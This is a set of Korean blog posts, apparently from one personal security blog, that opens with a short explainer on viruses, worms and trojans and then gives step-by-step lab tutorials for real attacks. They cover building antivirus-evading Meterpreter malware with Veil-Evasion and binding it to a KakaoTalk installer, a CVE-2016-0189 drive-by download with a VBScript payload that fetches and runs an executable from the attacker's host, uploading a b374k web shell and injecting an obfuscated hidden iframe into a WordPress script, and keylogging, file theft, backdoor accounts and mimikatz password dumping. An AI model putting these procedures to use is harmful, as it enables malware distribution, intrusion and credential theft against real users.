반응형


안녕들 하시죠 !


이번시간에는 바이러스와 웜의 차이점에 대해 알아보겠습니다.



위에 있는 아이콘은 바이러스입니다.


바이러스, 웜, 악성코드, 악성 프로그램 등등 헷갈리는 단어가 많아 알아보게됬습니다.

요새는 바이러스라는 말을 듣기가 어려운거 같습니다.


어렸을때 학교 선생님께서 20xx년 x월 x일에 컴퓨터를 키면 바이러스에 걸리니까 다들 조심해라 라는 말을 하셨던게 기억이나네요.


우선 악성코드바이러스에 대해 알아보겠습니다.

이 둘의 공통점은 공격자가 의도하는 특정 목적을 달성하기 위해 악의적인 행위를 하는 프로그램 입니다.

그러니 악성코드보다는 악성 프로그램이 더 맞는말이겠죠?


악성 프로그램의 범주에는 여러가지가 존재하는데 바이러스 또한 여기에 속합니다.

행위나 동작 방식에 따라 분류해 보겠습니다.



바이러스  


ㆍ 바이러스는 다른 대상(정상파일)을 감염시키는 형태로 실행된다.

      ㆍ 감염시킬 대상이 존재하지 않을 때에는 실행되지 않으며 다른정상파일로의 자기 복제 기능이 있다.

ㆍ 네트워크를 통해 전파되지 않으며 방식 및 위치에 따라 여러형태로 나뉜다.



ㆍ 감염시킬 대상이 존재하지 않아도, 스스로 실행될 수 있다.

ㆍ 자가 복제 및 네트워크를 통한 전파도 가능하다.


* 바이러스와 웜은 자가복제기능의 공통점이 있지만, 바이러스는 파일을 통해 감염되고 파일을 옮겨야만 전파가 되어 PC의 시스템 및 파일을 손상시키지만 웜은 네트워크를 통해 스스로 전파되고 독립 실행이 되며 네트워크 성능을 저하시킨다.


2000년대 초반 유행했던 '님다 웜'에 관한 기사 

'님다 웜' 바이러스 주의보 http://www.etnews.com/200211040160?m=1





트로이목마


ㆍ 정상파일을 가장하거나, 정상 파일안에 삽입되어 실행된다.

ㆍ 사용자의 설치를 유도한 후, 사용자 PC에 자료를 업로드, 다운로드가 가능하다.

ㆍ 최근 발생하는 대부분의 악성코드는 트로이목마다.


백도어


ㆍ 말그대로 '뒷문'

ㆍ 항상 악의적인 목적으로 사용되지는 않지만, 해커의 경우 이미 장악한 PC의 접근을 편하게하기 위해 루트를 뚫어놓는것.


애드웨어


ㆍ 악의적인 행위를 하지는 않지만 불편함을 초래하는 광고 프로그램.


악성 봇


ㆍ 스스로 실행되지 못하고, 해커의 명령에 의해 원격에서 제어 또는 실행이 가능한 프로그램 혹은 코드.

ㆍ 주로 취약점이나 백도어 등을 이용하여 전파.

ㆍ '좀비PC'는 악성 봇에 의해 감염된 PC


익스플로잇


ㆍ 소프트웨어나 하드웨어의 버그, 보안 취약점, 프로그래밍 과정에서의 취약점 등 결함을 이용해 공격자의 의도된 동작을 수행하도록 하는 명령 또는 공격행위를 가리킨다.

ㆍ 백신프로그램이 있다 하더라도 프로그램에 관한 업데이트가 되어 있지 않으면 막을 수 없다.

ㆍ 사용하는 프로그램에 대한 지속적인 업데이트 필요.


요즘은 이러한 특징들이 결합된 악성코드들이 만들어지고 있으니 최신 이슈를 지속적으로 파악하고 대처하는게 중요할 것 같습니다.


오늘은 여기까지입니다 감사합니다 !


 

참고 EST security 「바이러스와 악성코드의 차이점」



반응형

 

 

 

안녕들 하시죠 !

 

이번시간에는 CVE-2016-0189 취약점을 이용한 사이트 방문만으로 악성코드가 다운되는 실습을 진행해보겠습니다.

 

얼마전 올린 글에서 사용한 기법들을 사용할텐데요.

 

Veil-Evasion, vbscript_gotmode.html, b374k 웹쉘 등 을 이용할 계획입니다.

 

우선 Veil-Evasion을 이용하여 백신에 탐지되지 않는 악성코드를 만들어보겠습니다.

지난 게시물에서 진행했던 부분이니 빠르게 넘어가겠습니다.

 

list

 

 

 

use 27

 

 

set LHOST [ 본인 kali ip ]

set LPORT [ 임의의 포트 ]

generate

 

 

 

악성코드 명 : messbox.exe

pyinstaller 1번을 선택하겠습니다.

 

 

messbox.exe을 /var/www  apache의 경로로 복사해놓겠습니다.

cp /usr/share/veil-output/compiled/messbox.exe /var/www

 

msfconsole을 핸들러 경로로 실행시키겠습니다.

msfconsole -r /usr/share/veil-output/handlers/messbox_handler.rc

 

 

이 핸들러는 실습이 끝날때 까지 유지해야합니다 !

 

 

 

 

자, 이제 /var/www 경로에 있는 vbscript_godmode.html을 우클릭 하여 leafpad로 열겠습니다.

find 기능을 이용해 cmd 위치를 찾아주세요.

 

 

위에 화살표가 가리키고 있는 부분을 지우고 제 kali ip로 바꾸겠습니다.

http://192.168.0.29/messbox.exe

 

1
2
3
4
5
6
7
8
9
10
set shell=createobject("Shell.Application")  
shell.ShellExecute "cmd.exe", "/c CD %TEMP%&@echo Set objXMLHTTP=CreateObject(""MSXML2.XMLHTTP"")
>down_exec.vbs&@echo objXMLHTTP.open ""GET"",""http://[ 본인 Kali ip ]/messbox.exe"",false
>>down_exec.vbs&@echo objXMLHTTP.send()>>down_exec.vbs&@echo If objXMLHTTP.Status=200 Then>>down_exec.vbs&@
echo Set objADOStream=CreateObject(""ADODB.Stream"")>>down_exec.vbs&@echo objADOStream.Open>>down_exec.vbs&@
echo objADOStream.Type=1 >>down_exec.vbs&@echo objADOStream.Write objXMLHTTP.ResponseBody>>down_exec.vbs&@
echo objADOStream.Position=0 >>down_exec.vbs&@echo objADOStream.SaveToFile ""%TEMP%\messbox.exe"">>down_exec.vbs&@
echo objADOStream.Close>>down_exec.vbs&@echo Set objADOStream=Nothing>>down_exec.vbs&@echo End if>>down_exec.vbs&@
echo Set objXMLHTTP=Nothing>>down_exec.vbs&@echo Set objShell=CreateObject(""WScript.Shell"")>>down_exec.vbs&@
echo objShell.Exec(""%TEMP%\messbox.exe"")>>down_exec.vbs&cscript.exe %TEMP%\down_exec.vbs&del %TEMP%\down_exec.vbs", "", "open", 0
cs

 

위에있는 쉘코드는 %TEMP% 폴더에 .vbs 파일을 작성하고 실행하도록 구성했고, 이 .vbs가 실행되면 웹 서버에서 악성코드 ( messbox.exe ) 

를 호출하여 다운로드하고, 실행하도록 구성되어 있습니다.

%TEMP% 폴더를 사용하는 이유는 UAC를 우회하기 위함입니다.

 

혹시 악성코드 명을 messbox가 아닌 다른걸로 하신분들은 이부분에서 본인 악성코드 명을 적어주세요.

그럼 아래있는 부분도 알아서 바뀝니다.

 

http://[ 본인 Kali ip ]/[ 본인 악성코드 명.exe ]

 

이제 wordpress에 관리자 권한으로 들어가 slideshow-gallery.1.4.6 plugin을 이용해 웹쉘을 업로드 해 보겠습니다.

slideshow-gallery.1.4.6 버전은 파일업로드 취약점을 가지고 있는데요.

필요하신 분들은 아래 파일을 받아서 사용하세요.

 

slideshow-gallery.1.4.6.zip
다운로드

 

 

 

Slideshow -> Add New

 

 

찾아보기를 눌러 b374k 웹쉘을 업로드한 후 아래의 save slide를 누르겠습니다.

 

 

 

필터링을 하고 있지 않기에 이렇게 쉽게 업로드하였습니다.

 

아래 주황색으로 하이라이트 되어있는 부분을 보면 127.0.0.1/wordpress/wp-content/uploads/slideshow-gallery/8.php로 되어있는데요

업로드한 파일의 경로와 저장된 이름명이 임의의 8.php로 바뀌어있는 것을 알 수 있습니다.

Image 우클릭 -> 새 창에서 링크 열기 를 누르겠습니다.

 

 

웹쉘이 실행 되었습니다.

윗부분 입력란에 비밀번호 b374k를 입력하고 Go !를 누르시면 접속됩니다.

 

 

/var/www/html/wordpress/wp-includes/js/jquery/jquery-migrate.min.js 경로로 이동하겠습니다.

 

아래의 js를 난독화하여 추가해보겠습니다.

 

1
document.write("<iframe src='http://[ 본인 Kali ip ]/0189.html'width='0' height='0' frameboard='0'></iframe>");
cs
독화는 구글에서 '딘 애드워드 패커' 를 검색하여 사용했습니다.
 

 

 

Paste: 부분에 js를 복사 붙여넣기 하고 Base62 encode를 체크 후 Pack을 눌러 난독화를 시켰습니다.

Copy: 부분에 난독화되어진 코드를 복사하여 웹쉘로 돌아가겠습니다.

 

 

Actions의 edit을 눌러 편집해보겠습니다.

 

 

스크롤을 맨 아래로 내려 맨뒤에 난독화 코드를 붙여넣고 save ! 를 눌러 저장 후 빠져나오겠습니다.

kali로 돌아가 아까 작업했던 vbscript_godmode.html 을 0189.html로 이름만 수정해줍니다.

 

이제 피해자 PC에서 Ubuntu ( Wordpress ) 의 ip를 입력해 접속해보겠습니다.

 

 

TEMP 폴더는 파일탐색기의 경로창에 %TEMP%라고만 치시면 바로 나옵니다.

 

 

 

피해자 PC로 웹페이지를 들어가기만 했는데도 악성코드가 다운로드가 되었습니다.

 

중간에 오류가생겨 다른 vm으로 진행하느냐고 ip가 조금 다를 수 있습니다.

 

 

 

세션을 연결하여 migrate 까지 진행해봤습니다.

 

이러한 침투를 방지하려면 취약점이 있는 IE버전을 사용하지말고 항상 최신버전으로 업데이트 해주는게 제일 중요한 것 같습니다.

이번 실습은 내용도 많고 시간도 많이 걸린만큼 배운게 많았던 것 같습니다.

 

 

오늘은 여기까지입니다 감사합니다 !

반응형




안녕들 하시죠 !


오늘은 인터넷 익스플로러의 취약점 CVE-2016-0189 를 이용하여 Drive by download 실습을 진행해보겠습니다.


이번 실습은 IGLOO SECURITY BLOG 의 ' 스크립팅 엔진 메모리 손상 취약점 ( CVE-2016-0189 ) 분석 ' 글을 참고하며 진행했습니다.


Drive by download 란?


이미 알려진 보안 취약점을 이용하여 불특정 다수에게 악성코드를 유포하는것.

보안이 취약한 홈페이지를 변조하여 이미 알려진 보안 취약점을 공격하는 악성코드를 심어놓는다.

사용자는 어떠한 다운로드나 첨부파일을 열어본적 없지만 감염되게된다.

이를 방지하기위하여 사용하는 프로그램을 최신버전으로 유지하는 것이 중요하다.

출처 EST Security 「 Drive by download란 무엇일까요 ?    


아래는 취약점 정보와 공격 시나리오 입니다.


출처 IGLOO SECURITY BLOG  「 스크립팅 엔진 메모리 손상 취약점 ( CVE-2016-0189 ) 분석 



위의 정보를 확인하고싶은 분들은 아래의 URL로 들어가보시면 될 것 같습니다.


http://www.igloosec.co.kr/BLOG_%EC%8A%A4%ED%81%AC%EB%A6%BD%ED%8C%85%20%EC%97%94%EC%A7%84%20%EB%A9%94%EB%AA%A8%EB%A6%AC%20%EC%86%90%EC%83%81%20%EC%B7%A8%EC%95%BD%EC%A0%90(CVE-2016-0189)%20%EB%B6%84%EC%84%9D?bbsCateId=1



우선 Github에서 익스플로잇 코드를 다운받고 IE 브라우저가 CVE코드의 영향을 받는지 확인해보겠습니다.


공격자PC : Kali linux

피해자PC : Window 7


https://github.com/theori-io/cve-2016-0189 // Github 페이지 입니다.


git clone https://github.com/theori-io/cve-2016-0189 // Kali 터미널에 입력해 익스플로잇 코드를 다운받겠습니다.



git clone으로 다운받은 후에 exploit 폴더로 이동합니다.

vbscript_godmode.htmlapache2 가 있는 /var/www 폴더로 이동시켜줍니다.



leafpad로 연 후에 search -> find기능을 이용하여 cmd를 찾아보겠습니다.



위의 이미지를 보시면 vbscript_godmode.html에는 cmd를 실행시키는 익스플로잇 코드가 존재합니다.


이제 피해자 PC로 이동하여 [Kali ip]/vbscript_godmode.html 을 입력해 줍니다.



실행이 잘 되었네요.


다음시간에는 이를 이용하여 피해자가 wordpress 사이트를 방문만 해도 악성코드가 받아지도록 하는 실습을 진행해보겠습니다.


오늘은 여기까지입니다 감사합니다 ! 

반응형




안녕들 하시죠 !


이번시간에는 악성코드를 이용하여 피해자PC를 장악해보겠습니다.

준비가 안되신 분들은 아래의 URL을 보고 따라해보시면 좋겠습니다.


https://hongpossible.tistory.com/36?category=770424 // 1. Veil-evasion을 이용한 백신에 탐지되지 않는 악성코드 만들기

https://hongpossible.tistory.com/37?category=770424 // 2. 악성코드와 정상적인 설치파일 합치기

https://hongpossible.tistory.com/38?category=770424 // 3. 악성코드 프로세스 목록에서 숨기기


우선, 지난시간에 프로세스목록에서 숨겼으니 잘 침투해 있는지 키스캔을 통해 확인해보겠습니다.


keyscan_start



확인을 위해 구글을 켜보고 원격 연결에 들어가보겠습니다.




덤프를 떠보니 잘 침투해 있는걸 확인할 수 있었습니다.



이번에는 피해자PC에 아무 엑셀파일이나 넣어놓고 진행했습니다.

download 명령어로 엑셀파일을 공격자PC로 받아보고, 악성코드를 보내기도 해보겠습니다.

우선 엑셀파일을 검색해보겠습니다.

search -f *.xlsx



C:\경로에 OS.xlsx라는 20136byte의 엑셀파일이 존재하네요. 

업, 다운로드를 명령어를 통해 실행했습니다.


이제 윈도우 shell로 들어가 백도어 계정을 만들고, 권한상승, 피해자PC 계정의 패스워드를 알아내보겠습니다.



shell -> net user /add 명령어로 백도어 계정을 만듭니다.


* 위 이미지처럼 ???? 형식으로 글자가 깨져서 나온다면 따라해보세요


Terminal -> Set Character Encoding -> Add or Remove



Available encodings: 에 있는 Korean EUC-KR 을 -> 화살표를 눌러 오른쪽 으로 추가시켜줍니다.



그다음 다시 Terminal -> Set Character Encoding -> Korean을 선택해줍니다.



성공






현재 getuid명령어로 확인해보면 Administrator의 권한입니다.

목표는 System 권한이기때문에 svchost.exe 로 migrate해야합니다.


ps -S svchost.exe



목록을 보면 SYSTEM권한으로 된 것이 3개가 있습니다. 

이중 912번을 선택해 migrate 하겠습니다.

getuid로 알아보면 SYSTEM으로 권한 상승이 되어있네요.


이제, 윈도우 계정정보를 알아내기위한 mimikatz를 사용하겠습니다.

load mimikatz



?를 입력해 명령어들을 알아보았습니다.

스크롤을 내리보면 여러 명령어 들이 있는데요.

저는 kerberos 기능을 사용하겠습니다.



생각보다 굉장히 간단하네요.

제가 실제로 사용하는 비밀번호라 조금 가렸습니다.



run vnc 명령어를 통해 피해자의 행위를 감시할 수도 있고, screenshot 명령어를 통해 피해자의 화면을 캡처할 수 있습니다.


오늘은 여기까지입니다 감사합니다 !

반응형




안녕들 하시죠 !


저번시간에는 악성코드를 만든 후 카카오톡 설치파일과 합치고, 핸들러를 켜 놨었습니다.

이제 피해자PC에서 악성코드를 실행시키고 들키지않게 프로세스 목록에서 숨겨보겠습니다.

준비가 안되신 분들은 아래의 URL을 따라해보시면 좋겠습니다.


https://hongpossible.tistory.com/36?category=770424 // 1. Veil-evasion을 이용한 백신에 탐지되지 않는 악성코드 만들기

https://hongpossible.tistory.com/37?category=770424 // 2. 악성코드와 정상적인 설치파일 합치기



피해자 PC로 카카오톡 설치파일을 이동 후, 실행시키게되면 공격자PC에서는 세션이 오픈됩니다.



sessions 명령어를 통해 세션을 확인한 후,

sessions -i 1 로 1번세션과 연결을 합니다.

sysinfo로 피해자PC의 사양 확인, pwd로 현재 경로를 확인합니다.





피해자PC에서 작업관리자에 들어가보면 저렇게 대놓고 hongpossible.exe 가 실행되고 있음을 알 수 있습니다.

알아차리지 못하도록 migrate명령어를 이용해 다른 프로세스로 이주( 도망 )해 보겠습니다.


우선 ? 를 입력해 명령어 목록을 보겠습니다.



밑으로 쭉 내려보시면 migrate = Migrate the server to another porcess 라고 되어있는 것 보니 맞습니다.


운영체제가 돌아가는 동안 필수적인 프로세스라 하면 explorer.exe가 있는데요.


ps -S explorer.exe



explorer.exe의 PID가 1996이라고 나옵니다.

이제 migrate 1996 명령어를 통해 몸을 숨기겠습니다.



감쪽같이 사라졌습니다.


오늘은 여기까지입니다 감사합니다 !

반응형




안녕들 하시죠 !


이번시간에는 Veil-evasion을 이용하여 백신에 탐지되지 않는 악성코드를 만들어보겠습니다.


1. Veil-evasion을 이용해 악성코드 제작.

2. Virustotal로 악성코드 검사.

3. 카카오톡 설치파일과 악성코드를 합치고 아이콘수정.

4. 피해자PC에서 악성코드 실행 후, migrate명령어로 프로세스 숨기기.

5.  keyscan, 엑셀 파일 업,다운로드, screenshot, run vnc로 피해자PC 감시.

6. 권한상승, 윈도우 SAM파일에 저장되어있는 패스워드 dump뜨기.


이러한 순서로 진행해보겠습니다.



Veil-Evasion.py를 클릭해 실행시키겠습니다.



41개의 payload를 가지고있는 Veil-evasion이 실행됬네요.

list를 입력해 페이로드를 보겠습니다.



meterpreter는 os에 상관없이 장악한 피씨가 어떤 종류건 간에 공격자가 자주 사용하는 시스템 명령어를 예약시켜놓고있습니다.

그래서 윈도우 명령어를 몰라도 되는 장점이 있습니다.

python/meterpreter/rev_tcp 라고 되어있는 27번을 사용하겠습니다.


c/meterpreter/rev_tcp를 선택해도 되겠지만, C를 사용하면 백신에 걸려버리기때문에 python을 이용해 만들겠습니다.


use 27을 입력하겠습니다.



자, 이제 set LHOST [ 본인 kali ip ], set LPORT [ 임의의 포트 ] 를 입력하고 확인을 위해 info 들어가겠습니다.



잘 입력이 되었네요.

이제 generate를 입력하겠습니다.




위에 hongpossible은 악성코드명,

1 - Pyinstaller ( default ) 는 피해자PC에 파이썬을 깔고 악성코드를 실행시켜주겠다. 라는건데 이것때문에 잡히기도 한답니다.



* 도중에 오류로 vm을 바꿔 진행하여 ip주소가 다르게 나옵니다.


주황색 부분의 악성코드경로를 복사합니다.



Ctrl + Shift + T를 눌러 새 터미널을 띄우고,

cp /usr/share/veil-output/compiled/hongpossible.exe /root/Desktop/ 을 입력해 바탕화면 경로로 악성코드 복사.



이제 드디어 핸들러를 띄우기위해 리소스파일 경로를 복사하겠습니다.



터미널 새창에서, 

msfconsole -r /usr/share/veil-output/handlers/hongpossible_handler.rc


* 이 과정에서 아래와 같은 오류가 나면 따라해보세요.

위와 같은 오류가 뜨면, 주황색 부분을 복사하세요.

vi /opt/metasploit/apps/pro/msf3/lib/msf/core/payload/dalvik.rb
그다음 :set nu 를 입력하겠습니다.


:62 를 입력해 62번째 줄로 가겠습니다.


62번째 줄의 3600*24*365*20 에서 20을 2로 바꿔주겠습니다.

3600*24*365*2

:wq로 저장하고 빠져나가시면 됩니다.



자, 이제 핸들러가 정상적으로 켜졌습니다.


그럼이제 Virustotal로 이동해 제가만든 hongpossible.exe 악성코드에 대해 검사해보겠습니다.






국내 유명 백신 V3와 ALYac에는 탐지 되지 않고있네요 !


글이 너무 길어지는 관계로 다음시간에 카카오톡 설치파일과 악성코드를 merge하는 부분부터 이어서 진행하겠습니다. 감사합니다 !




+ Recent posts